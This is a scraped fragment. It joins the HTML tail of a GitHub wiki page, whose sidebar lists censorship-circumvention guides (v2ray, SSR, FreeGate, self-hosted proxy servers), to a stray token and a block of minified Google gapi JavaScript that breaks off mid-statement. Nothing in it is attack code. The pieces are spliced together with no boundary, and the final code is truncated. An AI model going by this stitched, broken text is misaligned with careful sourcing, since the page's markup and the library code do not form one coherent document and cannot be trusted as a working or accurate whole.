class="m-0 p-0 list-style-none" data-filterable-for="wiki-pages-filter" data-filterable-type="substring"> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki">Home</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/FreeGate%E5%92%8CWuJie%E7%89%88">FreeGate和WuJie版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/GoAgent-ipv6%E7%89%88">GoAgent ipv6版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/GoProxy-ipv6%E7%89%88">GoProxy ipv6版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/ipv6%E5%BC%80%E5%90%AF%E6%96%B9%E6%B3%95">ipv6开启方法</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/Linux%E7%B3%BB%E7%BB%9F%E7%BF%BB%E5%A2%99%E6%96%B9%E6%B3%95">Linux系统翻墙方法</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/SkyZip%E7%89%88">SkyZip版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/SSR%E7%89%88">SSR版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/ss%E5%85%8D%E8%B4%B9%E8%B4%A6%E5%8F%B7">ss免费账号</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/v2ray%E7%89%88">v2ray版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/YouTube%E4%B8%8B%E8%BD%BD1080%E6%95%99%E7%A8%8B">YouTube下载1080教程</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E4%BD%8E%E5%86%85%E6%A0%B8%E7%89%88">低内核版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E5%AE%89%E5%8D%93%E6%89%8B%E6%9C%BA%E7%89%88">安卓手机版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E5%AE%9E%E7%94%A8%E7%BD%91%E7%BB%9C%E5%B0%8F%E7%9F%A5%E8%AF%86">实用网络小知识</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">平板电脑翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E6%95%B0%E5%AD%97%E5%AE%89%E5%85%A8%E6%89%8B%E5%86%8C">数字安全手册</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAgoogle-appid%E6%95%99%E7%A8%8B">自建google appid教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建ss服务器教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E6%89%8B%E6%9C%BA%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果手机翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E7%94%B5%E8%84%91MAC%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果电脑MAC翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%B0%B7%E6%AD%8C%E6%B5%8F%E8%A7%88%E5%99%A8%E5%86%85%E6%A0%B8%E5%8D%87%E7%BA%A7%E6%96%B9%E6%B3%95">谷歌浏览器内核升级方法</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%B0%B7%E6%AD%8C%E9%95%9C%E5%83%8F">谷歌镜像</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%B5%9B%E9%A3%8E%E7%89%88">赛风版</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E9%AB%98%E5%86%85%E6%A0%B8%E7%89%88">高内核版</a></strong> </li> <li class="Box-row wiki-more-pages-link"> <button type="button" class="f6 mx-auto btn-link muted-link js-wiki-more-pages-link"> Show 12 more pages… </button> </li> </ul> </div> </div> </div> <h5 class="mt-0 mb-2">Clone this wiki locally</h5> <div class="width-full input-group"> <input id="wiki-clone-url" type="text" data-autoselect class="form-control input-sm text-small text-gray input-monospace" aria-label="Clone URL for this wiki" value="https://github.com/Alvin9999/new-pac.wiki.git" readonly="readonly"> <span class="input-group-button"> <clipboard-copy for="wiki-clone-url" aria-label="Copy to clipboard" class="btn btn-sm zeroclipboard-button"> <svg class="octicon octicon-clippy" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 13h4v1H2v-1zm5-6H2v1h5V7zm2 3V8l-3 3 3 3v-2h5v-2H9zM4.5 9H2v1h2.5V9zM2 12h2.5v-1H2v1zm9 1h1v2c-.02.28-.11.52-.3.7-.19.18-.42.28-.7.3H1c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h3c0-1.11.89-2 2-2 1.11 0 2 .89 2 2h3c.55 0 1 .45 1 1v5h-1V6H1v9h10v-2zM2 5h8c0-.55-.45-1-1-1H8c-.55 0-1-.45-1-1s-.45-1-1-1-1 .45-1 1-.45 1-1 1H3c-.55 0-1 .45-1 1z"/></svg> </clipboard-copy> </span> </div> </div> </div> </div> <div class="modal-backdrop js-touch-events"></div> </div> </div> </div> </div> <div class="footer container-lg p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 text-gray border-top border-gray-light "> <ul class="list-style-none d-flex flex-wrap col-12 col-lg-6 flex-justify-center flex-lg-justify-start mb-2 mb-lg-0"> <li class="mr-3">© 2019 <span title="0.26529s from unicorn-6b7d8f46b9-6kz2x">GitHub</span>, Inc.</li> <li class="mr-3"><a data-ga-click="Footer, go to terms, text:terms" href="https://github.com/site/terms">Terms</a></li> <li class="mr-3"><a data-ga-click="Footer, go to privacy, text:privacy" href="https://github.com/site/privacy">Privacy</a></li> <li class="mr-3"><a data-ga-click="Footer, go to security, text:security" href="https://github.com/security">Security</a></li> <li class="mr-3"><a href="https://githubstatus.com/" data-ga-click="Footer, go to status, text:status">Status</a></li> <li><a data-ga-click="Footer, go to help, text:help" href="https://help.github.com">Help</a></li> </ul> <a aria-label="Homepage" title="GitHub" class="footer-octicon mr-lg-4" href="https://github.com"> <svg height="24" class="octicon octicon-mark-github" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg> </a> <ul class="list-style-none d-flex flex-wrap col-12 col-lg-6 flex-justify-center flex-lg-justify-end mb-2 mb-lg-0"> <li class="mr-3"><a data-ga-click="Footer, go to contact, text:contact" href="https://github.com/contact">Contact GitHub</a></li> <li class="mr-3"><a href="https://github.com/pricing" data-ga-click="Footer, go to Pricing, text:Pricing">Pricing</a></li> <li class="mr-3"><a href="https://developer.github.com" data-ga-click="Footer, go to api, text:api">API</a></li> <li class="mr-3"><a href="https://training.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li> <li class="mr-3"><a href="https://github.blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li> <li><a data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li> </ul> </div> <div class="d-flex flex-justify-center pb-6"> <span class="f6 text-gray-light"></span> </div> </div> <div id="ajax-error-message" class="ajax-error-message flash flash-error"> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"/></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg> </button> You can’t perform that action at this time. </div> <script crossorigin="anonymous" integrity="sha512-N6BPdqxnrYL4kxWa5gDIlmhui/SEMiHoobwzTpVOWheR111Zxv5GOnCtGpt5qhE5rIpi9RHMeyngI5w6WhGfnw==" type="application/javascript" src="https://github.githubassets.com/assets/frameworks-0339542411b5666802ea364ae561d67e.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-D/8iR8ROD3vVOmwLSVsS1j1knDeAOuW9NLNRFb3Pyd68G/gC1b3xRH/krz0K2nuECEZRjVsUAU5caoJKAwoLwA==" type="application/javascript" src="https://github.githubassets.com/assets/github-27e2e2875f3fc6cfce6518e479adf7b8.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-c44z5nODEaKK3GYFvk6sJ+mQ11NU39x+7a8XfyyP2tvKxKleREj9kiG7faxy8HezxO3JLEySVB+jrElhE/tZDg==" type="application/javascript" src="https://github.githubassets.com/assets/wiki-d986eaa4dd007a3f9a67d1f6a6c30320.js"></script> <div class="js-stale-session-flash stale-session-flash flash flash-warn flash-banner d-none"> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"/></svg> <span class="signed-in-tab-flash">You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="signed-out-tab-flash">You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default text-gray-dark" open> <summary aria-haspopup="dialog" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box box-shadow-large" style="width:360px;"> </div> </div> <div id="hovercard-aria-description" class="sr-only"> Press h to open a hovercard with more details. </div> <div aria-live="polite" class="js-global-screen-reader-notice sr-only"></div> </body> </html>
dh-orko
/* JS */ gapi.loaded_0(function(_){var window=this; var ha,ia,ja,ma,sa,na,ta,ya,Ja;_.ea=function(a){return function(){return _.da[a].apply(this,arguments)}};_._DumpException=function(a){throw a;};_.da=[];ha="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){a!=Array.prototype&&a!=Object.prototype&&(a[b]=c.value)};ia="undefined"!=typeof window&&window===this?this:"undefined"!=typeof window.global&&null!=window.global?window.global:this;ja=function(){ja=function(){};ia.Symbol||(ia.Symbol=ma)}; ma=function(){var a=0;return function(b){return"jscomp_symbol_"+(b||"")+a++}}();sa=function(){ja();var a=ia.Symbol.iterator;a||(a=ia.Symbol.iterator=ia.Symbol("iterator"));"function"!=typeof Array.prototype[a]&&ha(Array.prototype,a,{configurable:!0,writable:!0,value:function(){return na(this)}});sa=function(){}};na=function(a){var b=0;return ta(function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}})};ta=function(a){sa();a={next:a};a[ia.Symbol.iterator]=function(){return this};return a}; _.wa=function(a){sa();var b=a[window.Symbol.iterator];return b?b.call(a):na(a)};_.xa="function"==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b};if("function"==typeof Object.setPrototypeOf)ya=Object.setPrototypeOf;else{var Ba;a:{var Ca={a:!0},Da={};try{Da.__proto__=Ca;Ba=Da.a;break a}catch(a){}Ba=!1}ya=Ba?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}_.Fa=ya; Ja=function(a,b){if(b){var c=ia;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];e in c||(c[e]={});c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ha(c,a,{configurable:!0,writable:!0,value:b})}};Ja("Array.prototype.find",function(a){return a?a:function(a,c){a:{var b=this;b instanceof String&&(b=String(b));for(var e=b.length,f=0;f<e;f++){var h=b[f];if(a.call(c,h,f,b)){a=h;break a}}a=void 0}return a}});var Ka=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)}; Ja("WeakMap",function(a){function b(a){Ka(a,d)||ha(a,d,{value:{}})}function c(a){var c=Object[a];c&&(Object[a]=function(a){b(a);return c(a)})}if(function(){if(!a||!Object.seal)return!1;try{var b=Object.seal({}),c=Object.seal({}),d=new a([[b,2],[c,3]]);if(2!=d.get(b)||3!=d.get(c))return!1;d["delete"](b);d.set(c,4);return!d.has(b)&&4==d.get(c)}catch(n){return!1}}())return a;var d="$jscomp_hidden_"+Math.random();c("freeze");c("preventExtensions");c("seal");var e=0,f=function(a){this.Aa=(e+=Math.random()+ 1).toString();if(a){ja();sa();a=_.wa(a);for(var b;!(b=a.next()).done;)b=b.value,this.set(b[0],b[1])}};f.prototype.set=function(a,c){b(a);if(!Ka(a,d))throw Error("a`"+a);a[d][this.Aa]=c;return this};f.prototype.get=function(a){return Ka(a,d)?a[d][this.Aa]:void 0};f.prototype.has=function(a){return Ka(a,d)&&Ka(a[d],this.Aa)};f.prototype["delete"]=function(a){return Ka(a,d)&&Ka(a[d],this.Aa)?delete a[d][this.Aa]:!1};return f}); Ja("Map",function(a){if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var b=Object.seal({x:4}),c=new a(_.wa([[b,"s"]]));if("s"!=c.get(b)||1!=c.size||c.get({x:4})||c.set({x:4},"t")!=c||2!=c.size)return!1;var d=c.entries(),e=d.next();if(e.done||e.value[0]!=b||"s"!=e.value[1])return!1;e=d.next();return e.done||4!=e.value[0].x||"t"!=e.value[1]||!d.next().done?!1:!0}catch(q){return!1}}())return a;ja();sa();var b=new window.WeakMap,c=function(a){this.lf= {};this.Pe=f();this.size=0;if(a){a=_.wa(a);for(var b;!(b=a.next()).done;)b=b.value,this.set(b[0],b[1])}};c.prototype.set=function(a,b){var c=d(this,a);c.list||(c.list=this.lf[c.id]=[]);c.ke?c.ke.value=b:(c.ke={next:this.Pe,Pi:this.Pe.Pi,head:this.Pe,key:a,value:b},c.list.push(c.ke),this.Pe.Pi.next=c.ke,this.Pe.Pi=c.ke,this.size++);return this};c.prototype["delete"]=function(a){a=d(this,a);return a.ke&&a.list?(a.list.splice(a.index,1),a.list.length||delete this.lf[a.id],a.ke.Pi.next=a.ke.next,a.ke.next.Pi= a.ke.Pi,a.ke.head=null,this.size--,!0):!1};c.prototype.clear=function(){this.lf={};this.Pe=this.Pe.Pi=f();this.size=0};c.prototype.has=function(a){return!!d(this,a).ke};c.prototype.get=function(a){return(a=d(this,a).ke)&&a.value};c.prototype.entries=function(){return e(this,function(a){return[a.key,a.value]})};c.prototype.keys=function(){return e(this,function(a){return a.key})};c.prototype.values=function(){return e(this,function(a){return a.value})};c.prototype.forEach=function(a,b){for(var c=this.entries(), d;!(d=c.next()).done;)d=d.value,a.call(b,d[1],d[0],this)};c.prototype[window.Symbol.iterator]=c.prototype.entries;var d=function(a,c){var d=c&&typeof c;"object"==d||"function"==d?b.has(c)?d=b.get(c):(d=""+ ++h,b.set(c,d)):d="p_"+c;var e=a.lf[d];if(e&&Ka(a.lf,d))for(a=0;a<e.length;a++){var f=e[a];if(c!==c&&f.key!==f.key||c===f.key)return{id:d,list:e,index:a,ke:f}}return{id:d,list:e,index:-1,ke:void 0}},e=function(a,b){var c=a.Pe;return ta(function(){if(c){for(;c.head!=a.Pe;)c=c.Pi;for(;c.next!=c.head;)return c= c.next,{done:!1,value:b(c)};c=null}return{done:!0,value:void 0}})},f=function(){var a={};return a.Pi=a.next=a.head=a},h=0;return c}); Ja("Set",function(a){if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var b=Object.seal({x:4}),d=new a(_.wa([b]));if(!d.has(b)||1!=d.size||d.add(b)!=d||1!=d.size||d.add({x:4})!=d||2!=d.size)return!1;var e=d.entries(),f=e.next();if(f.done||f.value[0]!=b||f.value[1]!=b)return!1;f=e.next();return f.done||f.value[0]==b||4!=f.value[0].x||f.value[1]!=f.value[0]?!1:e.next().done}catch(h){return!1}}())return a;ja();sa();var b=function(a){this.V= new window.Map;if(a){a=_.wa(a);for(var b;!(b=a.next()).done;)this.add(b.value)}this.size=this.V.size};b.prototype.add=function(a){this.V.set(a,a);this.size=this.V.size;return this};b.prototype["delete"]=function(a){a=this.V["delete"](a);this.size=this.V.size;return a};b.prototype.clear=function(){this.V.clear();this.size=0};b.prototype.has=function(a){return this.V.has(a)};b.prototype.entries=function(){return this.V.entries()};b.prototype.values=function(){return this.V.values()};b.prototype.keys= b.prototype.values;b.prototype[window.Symbol.iterator]=b.prototype.values;b.prototype.forEach=function(a,b){var c=this;this.V.forEach(function(d){return a.call(b,d,d,c)})};return b});_.La=_.La||{};_.m=this;_.r=function(a){return void 0!==a};_.u=function(a){return"string"==typeof a}; _.Ma=function(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null"; else if("function"==b&&"undefined"==typeof a.call)return"object";return b};_.Oa=function(a){return"array"==_.Ma(a)};_.Pa="closure_uid_"+(1E9*Math.random()>>>0);_.Qa=Date.now||function(){return+new Date};_.w=function(a,b){a=a.split(".");var c=_.m;a[0]in c||!c.execScript||c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)!a.length&&_.r(b)?c[d]=b:c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}}; _.z=function(a,b){function c(){}c.prototype=b.prototype;a.H=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.ep=function(a,c,f){for(var d=Array(arguments.length-2),e=2;e<arguments.length;e++)d[e-2]=arguments[e];return b.prototype[c].apply(a,d)}}; _.Ta=window.osapi=window.osapi||{}; window.___jsl=window.___jsl||{}; (window.___jsl.cd=window.___jsl.cd||[]).push({gwidget:{parsetags:"explicit"},appsapi:{plus_one_service:"/plus/v1"},csi:{rate:.01},poshare:{hangoutContactPickerServer:"https://plus.google.com"},gappsutil:{required_scopes:["https://www.googleapis.com/auth/plus.me","https://www.googleapis.com/auth/plus.people.recommended"],display_on_page_ready:!1},appsutil:{required_scopes:["https://www.googleapis.com/auth/plus.me","https://www.googleapis.com/auth/plus.people.recommended"],display_on_page_ready:!1}, "oauth-flow":{authUrl:"https://accounts.google.com/o/oauth2/auth",proxyUrl:"https://accounts.google.com/o/oauth2/postmessageRelay",redirectUri:"postmessage",loggingUrl:"https://accounts.google.com/o/oauth2/client_log"},iframes:{sharebox:{params:{json:"&"},url:":socialhost:/:session_prefix:_/sharebox/dialog"},plus:{url:":socialhost:/:session_prefix:_/widget/render/badge?usegapi=1"},":socialhost:":"https://apis.google.com",":im_socialhost:":"https://plus.googleapis.com",domains_suggest:{url:"https://domains.google.com/suggest/flow"}, card:{params:{s:"#",userid:"&"},url:":socialhost:/:session_prefix:_/hovercard/internalcard"},":signuphost:":"https://plus.google.com",":gplus_url:":"https://plus.google.com",plusone:{url:":socialhost:/:session_prefix:_/+1/fastbutton?usegapi=1"},plus_share:{url:":socialhost:/:session_prefix:_/+1/sharebutton?plusShare=true&usegapi=1"},plus_circle:{url:":socialhost:/:session_prefix:_/widget/plus/circle?usegapi=1"},plus_followers:{url:":socialhost:/_/im/_/widget/render/plus/followers?usegapi=1"},configurator:{url:":socialhost:/:session_prefix:_/plusbuttonconfigurator?usegapi=1"}, appcirclepicker:{url:":socialhost:/:session_prefix:_/widget/render/appcirclepicker"},page:{url:":socialhost:/:session_prefix:_/widget/render/page?usegapi=1"},person:{url:":socialhost:/:session_prefix:_/widget/render/person?usegapi=1"},community:{url:":ctx_socialhost:/:session_prefix::im_prefix:_/widget/render/community?usegapi=1"},follow:{url:":socialhost:/:session_prefix:_/widget/render/follow?usegapi=1"},commentcount:{url:":socialhost:/:session_prefix:_/widget/render/commentcount?usegapi=1"},comments:{url:":socialhost:/:session_prefix:_/widget/render/comments?usegapi=1"}, youtube:{url:":socialhost:/:session_prefix:_/widget/render/youtube?usegapi=1"},reportabuse:{url:":socialhost:/:session_prefix:_/widget/render/reportabuse?usegapi=1"},additnow:{url:":socialhost:/additnow/additnow.html"},udc_webconsentflow:{url:"https://myaccount.google.com/webconsent?usegapi=1"},appfinder:{url:"https://gsuite.google.com/:session_prefix:marketplace/appfinder?usegapi=1"},":source:":"1p"},poclient:{update_session:"google.updateSessionCallback"},"googleapis.config":{methods:{"pos.plusones.list":!0, "pos.plusones.get":!0,"pos.plusones.insert":!0,"pos.plusones.delete":!0,"pos.plusones.getSignupState":!0},versions:{pos:"v1"},rpc:"/rpc",root:"https://content.googleapis.com","root-1p":"https://clients6.google.com",useGapiForXd3:!0,xd3:"/static/proxy.html",developerKey:"AIzaSyCKSbrvQasunBoV16zDH9R33D88CeLr9gQ",auth:{useInterimAuth:!1}},report:{apis:["iframes\\..*","gadgets\\..*","gapi\\.appcirclepicker\\..*","gapi\\.client\\..*"],rate:1E-4},client:{perApiBatch:!0}}); var Za,eb,fb;_.Ua=function(a){return"number"==typeof a};_.Va=function(){};_.Wa=function(a){var b=_.Ma(a);return"array"==b||"object"==b&&"number"==typeof a.length};_.Xa=function(a){return"function"==_.Ma(a)};_.Ya=function(a){var b=typeof a;return"object"==b&&null!=a||"function"==b};Za=0;_.bb=function(a){return a[_.Pa]||(a[_.Pa]=++Za)};eb=function(a,b,c){return a.call.apply(a.bind,arguments)}; fb=function(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}};_.A=function(a,b,c){_.A=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?eb:fb;return _.A.apply(null,arguments)}; _.ib=Array.prototype.indexOf?function(a,b){return Array.prototype.indexOf.call(a,b,void 0)}:function(a,b){if(_.u(a))return _.u(b)&&1==b.length?a.indexOf(b,0):-1;for(var c=0;c<a.length;c++)if(c in a&&a[c]===b)return c;return-1};_.jb=Array.prototype.lastIndexOf?function(a,b){return Array.prototype.lastIndexOf.call(a,b,a.length-1)}:function(a,b){var c=a.length-1;0>c&&(c=Math.max(0,a.length+c));if(_.u(a))return _.u(b)&&1==b.length?a.lastIndexOf(b,c):-1;for(;0<=c;c--)if(c in a&&a[c]===b)return c;return-1}; _.lb=Array.prototype.forEach?function(a,b,c){Array.prototype.forEach.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)f in e&&b.call(c,e[f],f,a)};_.mb=Array.prototype.filter?function(a,b){return Array.prototype.filter.call(a,b,void 0)}:function(a,b){for(var c=a.length,d=[],e=0,f=_.u(a)?a.split(""):a,h=0;h<c;h++)if(h in f){var k=f[h];b.call(void 0,k,h,a)&&(d[e++]=k)}return d}; _.nb=Array.prototype.map?function(a,b){return Array.prototype.map.call(a,b,void 0)}:function(a,b){for(var c=a.length,d=Array(c),e=_.u(a)?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d};_.ob=Array.prototype.some?function(a,b,c){return Array.prototype.some.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)if(f in e&&b.call(c,e[f],f,a))return!0;return!1}; _.qb=Array.prototype.every?function(a,b,c){return Array.prototype.every.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)if(f in e&&!b.call(c,e[f],f,a))return!1;return!0};_.rb=function(a,b){return 0<=(0,_.ib)(a,b)}; var vb;_.sb=function(a){return/^[\s\xa0]*$/.test(a)};_.tb=String.prototype.trim?function(a){return a.trim()}:function(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]};_.ub=String.prototype.repeat?function(a,b){return a.repeat(b)}:function(a,b){return Array(b+1).join(a)}; _.xb=function(a,b){var c=0;a=(0,_.tb)(String(a)).split(".");b=(0,_.tb)(String(b)).split(".");for(var d=Math.max(a.length,b.length),e=0;0==c&&e<d;e++){var f=a[e]||"",h=b[e]||"";do{f=/(\d*)(\D*)(.*)/.exec(f)||["","","",""];h=/(\d*)(\D*)(.*)/.exec(h)||["","","",""];if(0==f[0].length&&0==h[0].length)break;c=vb(0==f[1].length?0:(0,window.parseInt)(f[1],10),0==h[1].length?0:(0,window.parseInt)(h[1],10))||vb(0==f[2].length,0==h[2].length)||vb(f[2],h[2]);f=f[3];h=h[3]}while(0==c)}return c}; vb=function(a,b){return a<b?-1:a>b?1:0};_.yb=2147483648*Math.random()|0; a:{var Bb=_.m.navigator;if(Bb){var Cb=Bb.userAgent;if(Cb){_.Ab=Cb;break a}}_.Ab=""}_.Db=function(a){return-1!=_.Ab.indexOf(a)};var Fb;_.Eb=function(a,b,c){for(var d in a)b.call(c,a[d],d,a)};Fb="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");_.Gb=function(a,b){for(var c,d,e=1;e<arguments.length;e++){d=arguments[e];for(c in d)a[c]=d[c];for(var f=0;f<Fb.length;f++)c=Fb[f],Object.prototype.hasOwnProperty.call(d,c)&&(a[c]=d[c])}}; _.Hb=function(){return _.Db("Opera")};_.Ib=function(){return _.Db("Trident")||_.Db("MSIE")};_.Lb=function(){return _.Db("iPhone")&&!_.Db("iPod")&&!_.Db("iPad")};_.Mb=function(){return _.Lb()||_.Db("iPad")||_.Db("iPod")};var Nb=function(a){Nb[" "](a);return a},Sb;Nb[" "]=_.Va;_.Qb=function(a,b){try{return Nb(a[b]),!0}catch(c){}return!1};Sb=function(a,b){var c=Rb;return 